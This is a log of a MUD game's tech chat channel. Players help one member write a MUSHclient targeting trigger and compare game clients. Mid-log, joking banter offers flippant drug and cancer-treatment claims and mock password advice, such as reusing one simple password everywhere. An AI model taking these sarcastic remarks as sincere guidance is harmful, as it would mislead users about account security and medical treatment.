T3/r7/2013-01-12.txt.gz:{chan ch=tech}Gloindren Tech: evening folks.  anyone here currently using MaG on mudlet?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Does anyone know if there is a way to make a variable expand inside a trigger pattern?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Looks like it need to be: (ariable) in a trigger match
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: the trigger is set at definition time...you can leave that part of the trigger wildcard and test against the variable in the body of it though
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Sorry (@variable)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Bast Tech: try the mushclient faq at: http://www.gammon.com.au/forum/?id=7794 item 22 is what you want
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: nice bast!
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Bast Tech: i am pretty sure it has to be set with setvariable, it won't just pull variables from the script space
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: oh cool, more flexible than I gave it credit for :-)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Hmmm.  So using the in game variable command won't work?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: going to test right now
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: me, I woulda written my "set this variable" alias to be "set this variable, then redefine trigger foo to be a pattern with it"
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: there is no in-game variable command, just alias command
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: sorry, I meant using the mushclient variable versus "setvariable" in send to script
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: SetVariable("varname","value") sets the things that you see in game -> configure -> variables
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: so those variables are what works
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: nods abe
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Oh ok, so all of the standard game commands are made using LUA?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: like alias/trigger/variable
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: yeah
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: if you want
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: Haldrik P sorry trying to sort everything out in my head
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: it's recommended to use it, but MUSHclient can use a dozen languages
T3/r7/2013-01-12.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: aliases, triggers and variables aren't standard game commands, they're client-dependent
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: and you'll be able to get the most help here if you stick to lua
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Ok, so doing vairable (a|b|c) does not work in the trigger, it has to be a|b|c   and then (ariable)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: (@variable)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: if using regex :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: forget that junk
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: what are you trying to do?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: trigger off a variable (a|b|c) using regex
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: no you're not
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: what are you trying to do
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: making a targetting variable
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: that's HOW you think you want to do it
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: your targetting variable shouldn't consist of a b and c...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: so...what do you plan to do
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: easier to type then the mob names :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: (A|An) (?:.+)?@level60mobs?\b.+\.$
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: your targetting variable should be one thing
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: not multiple things
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: SetVariable("target", "%1")
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: --SetVariable ("target", "%2")
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: thats what im doing
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: i use an alias though
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: alias k *
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: you only target one mob at a time...there's no a|b|c involved in a single possible value...and you cannot use the name of a MOB to target it
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: followed by Send ("target %1")
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: If i create a list of mobs then the first one in the room gets passed into %2
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: then I use my alias to kill it
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: there's no amob|bmob|cmob involved in that
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: alias to set target/kill macro to repeat last target
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: So confused.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: if there is multiple mob names?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: only one.ever.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: the others aren't targets
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: only one is the target
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: the others can be waiting to become targets
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Yes clearly, but that pattern puts the first one in the room into %target
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: which probably isn't super effective heh :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: targetting script isn't that easy to make... took me 3 days high on speed and weed to make one :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: I'm getting there, I'm going to make an array next
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: just makign a piece at a time
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: nods
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: I really want to parse the room into a new window.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: table should've been the first thing to be made...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: with the mob names
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: parsing to a new window is the easiest part, really
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Well I know arrays, dont know much about tables
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ixle Tech: If you don't need the mobs in variables you can just capture stuff between the roomchars tags into a miniwin
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Oh really?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: I didn't know abotu roomchars tags.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: You nod at Ixle.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: type "tags roomchars on"
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Oh awesome.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: then take the ASCII mapper plugin file, duplicate it...make a new plugin ID for it
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: I love you guys :)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: change the MAPSTART and MAPEND trigs to be {roomchars} and {/roomchars}
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: and you've got a capture
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: if you started with the ascii mapper, it'll also have the send to front/back, move by grabbing the titlebar and resize grabber
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: delete the hover zone for the symbol key
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Great. I'm looking at the plugin right now.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: it's how I've done half of my capture plugins :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: (actually starting with some of mine may be easier cuz I've already cut out that stuff)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: the only annoying thing about the list is that it's players and mobs mixed together.  Not too, too bad if the room's mostly empty, but on big groupruns or in supercrowded rooms it can become unwieldy
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ixle Tech: rofl, oh the joys of kids videos. And the germ kid said "was I also born in a turd!?"
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ixle Tech: mischan...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Ahh yea good point Hanslanda.  MAybe i can put a check in to limit it to 10 lines or smoething
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: But basics first
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: heh, and for the final dumbing-down of playing, you can make hyperlinks of that captured window so you click on the MOB...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: but remember that I mentioned that you cannot use a MOBname to target it...names are not [necessarily] keywords
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: nods
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: that's why databases are so useful.  Can look that stuff up and most of the time queries are going to be lightning-fast.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: which then takes you into the complexity of a lookup table of in-room names to keywords
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: who would win if a databsae fought a hash table?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Ah so save the mob long name into teh databae wit hthe keyword
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: then link it with a hyperlink or what not
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: hash table is a form of database
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: Depends on how concentrated the hash is?  How much hash is the table smoking? That's a fairly significant variable.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: Santher snickers softly.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: Santher Tells Juictice Chill...Because Its TiMe FoR a FaTtY, bOoM bAtTy,BlUnT.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: lets say its not smoking hash but is smoking that special K 52 stuff or whatever abu is selling at 7-11
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: the fake weed stuff that gives you cancer?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}(Linkdead) Fuego Tech: yes
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: wait, i'm going to get cancer from this stuff?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}(Linkdead) Fuego Tech: you already have cancer
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: has isn't fake weed
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: Cancer's overrated.  Been there, done that, got the t-shirt.  Smoke away, I say!
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: it's compressed weed
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: lip, tongue, throat, or lung.  Take your pick.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: let's be clear on something here. inhaling the product of combustion will always increase your cancer risk. it doesn't matter what burned.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: are you surprised that drugs can have bad effects? You need to read more.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: if you roll a natural 1, you gotta pick twice.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: yeah cancer is so overblown... most of us get cancer simply from breathing air
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: Chemotherapy isn't very fun, though, sadly.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: you develop cancer, don't get it...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: chemo sux, smoke weed instead
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: if you're into mommy boobs, you can get it from the rocket fuel lacing the baby-juice.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: cuz cancer is you
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: after the chemo smoke weed
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: I thought it was like, cooties and stuff? That you caught it from hookers and stuff.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: The funny thing about getting cancer is that chemo also causes cancer.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Harperon Tech: I already got cancer once, I'm immune now.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: nod, the weed makes the chemo more tolerable (in all senses of the word)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: well weed andf some other googlable herbs :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: weed is probably one of the safest drugs. It "only" makes you stupid.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: All cancer treatments are themselves carcinogenic.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: True that, Fiendish.  Life's just a pain, isn't it?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: 50/50 was a good movie :-)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: that's even worse, considering where weed-smokers typically start from.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: and it makes you hungry for nachos
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: I resent that statement.  Just because I'm eating Doritos right now doesn't mean I smoke!
T3/r7/2013-01-12.txt.gz:{chan ch=tech}(Linkdead) Fuego Tech: yes it does
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: I resemble that remark
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: they're curing it now with attenutated HIV, didn't you haer?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: weed makes you mistake lineman's cable for a bungie rope
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: the stupid part of weed isn't permament as long as you don't start to early and screw your development up...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: we should just legalize it and tax it as a commodity
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: i agree, tax that shit make money
T3/r7/2013-01-12.txt.gz:{chan ch=tech}(Linkdead) Fuego Tech: the sky is blue wario
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: nah, tax it like cigarettes.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: i've been smoking weed for 20 years
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: wouldn't know I'm color blind
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: cigs for 9
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: you won't make money taxing it if people can grow themselves and sell it to each other for less
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: the brain damage is permanent from weed smoking, do it enough, and it will be noticable (just as with alcohol)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: like cigarettes? you want 20 grams for 6 bucks?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: look at cali
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Why is this even on tech?? *ponder*
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: the weed they sell in shops is 1000 time better than hippy joes weed
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: you get brain damage from living, just ask any football player
T3/r7/2013-01-12.txt.gz:{chan ch=tech}CaptainDude Tech: plus you would know what you buy is what you get, not laced with anything,
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: orgasms kill more brain cells than weed
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: for adults the main problem with weed is "temporary psychosis" (when your short term memory is fried)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: yep
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: (not that most of you would know)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: iv'e been there once
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: 10 years ago
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: got a source for that, J?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i did drugs once
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: you do drugs everyday
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Swirls of Rumour Tech: Let's move this off Tech - thanks :)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: You know, you should probably move drug-related talk to curse channel or something.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: naw i did drugs once and 8 years later i stopped
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: hah someone butt hurt he cant do drugs
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Not really. Just not the discussion for tech, really, as Rumour pointed out.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: no grua, they are just an imm stepping in to redirect the topic and btw you shouldn't say that curse word you did on here either
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok how about this anyone ever seen a computer that when you try to browse to a website it asks you for router username and password?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: butt?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: no, the word for what comes out of a butt
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: I have, when I try to access my router, Vorpes.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod this is when trying to go to google
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: that's kinda standard, so that random turds can't just hack you out of your own hardware.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: You can set up your network to fake-dns and redirect to a login page.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Ranrr.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: Many open wifi networks do this.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i am just trying to figure out what virus this thing has
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: Hi techs, can someone think of a really hard password for my email account?  Looking for one that would be very hard to crack.  Thanks.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: kojiro1111
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anything that is the max characters long
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Use LastPassword and have it generate a password for you. Or use any password generator that has special characters and alphanumeric possibilities.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: try using the first sentence from the unibomber's manifesto.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: Silly Mokg.  You need more numbers in that.  It should be Kojiro1234.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: thats the same amount of numbers
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Sonshi Tech: he means more unique numbers
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: "correct horse battery staple"
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: ¿~
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: Yes.  I just couldn't say what I meant clearly, because I am an idiot.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: You should use a simple word, and also use the same password everywhere, so it's easy to remember. 
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Just make your password "password". No one ever guesses that anymore.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: Also, Abelinc, kudos for that reference!
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: pssw0rd1
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: p@ssw0rd1
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: gruag stop telling everyone my password
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: moonrocks
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: 1dr0wss@p!
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: ooh, etz is getting tricky
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: I just use 123456789
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: etzli what is the translation of that netspeak?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Acheos Tech: you can always use a shortsentencewithnospaces
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: shortsentencewithnospacesilikethatideathanks.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: juictice: it was password backwards...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: had to inform employees at work that they have to change their voicemail passwords. almost everyone had theirs as 1111
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: (well, password1)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Oo! Here you go... !tnUfccyb1
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: Default password are bad, should never be used in a system that is supposed to be secure.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Martini & Tyebald Tech: "unguessable"  no one will ever try that because that'd be a paradox.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: a shame you had to pass up an awesome pranking opportunity.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i 
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: heh, avaya voicemail won't let you set a voicemail password of just repeated numbers or of just consecutive numbers...but you can use 111222 :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Gloindren Tech: some old school BoFH
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: assumed things where secure
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: thanksforyourgreatadvicesnowiknowwhati'mgoingtodo.  allset.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: then i got a call that we had made numerous international calls
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Acheos Tech: noproblemojuictice
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Convert a password to a fictional language, such as al-bhed or elvish.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: helpipoppedthespacebaroffmykeyboardtomaketypingmypasswordeasierandnowicantgetitbackon(iusedapenforthespaceaftertechtowritethis)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Acheos Tech: rofl
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Santher Tech: i like mayan
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Sonshi Tech: fictional language? Like wasyearahymmeEXA_PICO
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: The best tip to keep your password safe is to never type it on someone elses computer. And never, ever on a public computer.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Acheos Tech: winguardium levosar
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: Also, don't make it something like "God" or some stupid shenanigans like others do.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: Keyloggers don't care if your password is complex.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: That's why I use LastPass to keep my password safe! It automatically enters it in for me! :D
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: a system that allows OTP helps with that
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: keyloggers can't get your password if you don't have one...just sayin'.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: or open up notepad, type a whole paragraph...then copy/paste the letters that make up your password into the password field ;-)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: modern keyloggers capture the clipboard
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: copy and pasting wont protect you
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: not that many
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: ifihaveakeyloggerthatwouldshowupinmysentmailfolder,right?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: Are on-screen keyboards still safe?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: you heard about the hackers that used the accelerometer in cell phones laying by the keyboard to log the keystrokes of the keyboard?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: Like, the ones you click the individual letters on?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: as far as I know yes lulz
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vakieh Tech: If you can get a keylogger on your computer, you can get a field scraper on your computer.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: nowariowhatisanacellerothingy?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vakieh Tech: Field scraping is so much easier than keylogging, as it is less of a public Fear Factor
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: but your "if you can" scenario isn't true...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: FIXED by swapping out keyboards.  Protip:  don't pop your spacebar.  What is a field scraper and an accelerometer?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: you can get a keylogger onto a computer without any rights...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vakieh Tech: Their vectors are close enough to identical as makes little difference, unless we're talking physical interject (keyboard->phys. logger->tower
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: pop a dongle into usb port, plug keyboard into dongle...can't get a screen scraper like that
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vakieh Tech: )
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Sit like a Trurien Tech: An accelerometer is the thing that tells you which way is up on an Android or an iPhone, right?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: nod, it lets your portable detect motion
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Juictice Tech: well my GSIII doens't orient correctly anymore, does that mean i have an acclerometer virus scraper?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Hanslanda Tech: it is?  I thought the term was gyroscope?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vakieh Tech: Which way is up, plus records motion in any direction, including vibrations
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vakieh Tech: afaik they usually use gyros to do so
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: what we often call a gyroscope nowadays has nothing to do with actual gyroscopes, and is generally a more-generic accelerometer
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I don't think there would be a way to fit a proper gyroscope into a phone, no matter how you scaled it down :|
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vakieh Tech: An accelerometer measures the effect a gyroscope has on its surrounds, from what I know
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: You nod.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: you can read about it on popular science
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: current issue
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: weapons masters on netflix
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: heh, I read about it about 9 months ago on GCN iirc
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Prince Wario Tech: it was one of the tech colleges
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Oh dear.   the command for expanding variables inside matching pattern is (@!variable)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: 6 hours later i figured it out
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: anyone using Mudlet and MaG?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: you & 1 other person
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: I used it. I can't highly suggest enough scrapping it and using Aaard Mush with Wine if you're a Mac user like me 
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: on windows.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: Exactly.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: then yes, go with aard mush - it's far superior 
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: then it's an even bigger no-brainer
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: I waited over 3 months to switch to the aard mush from mudlet - such a waste of time 
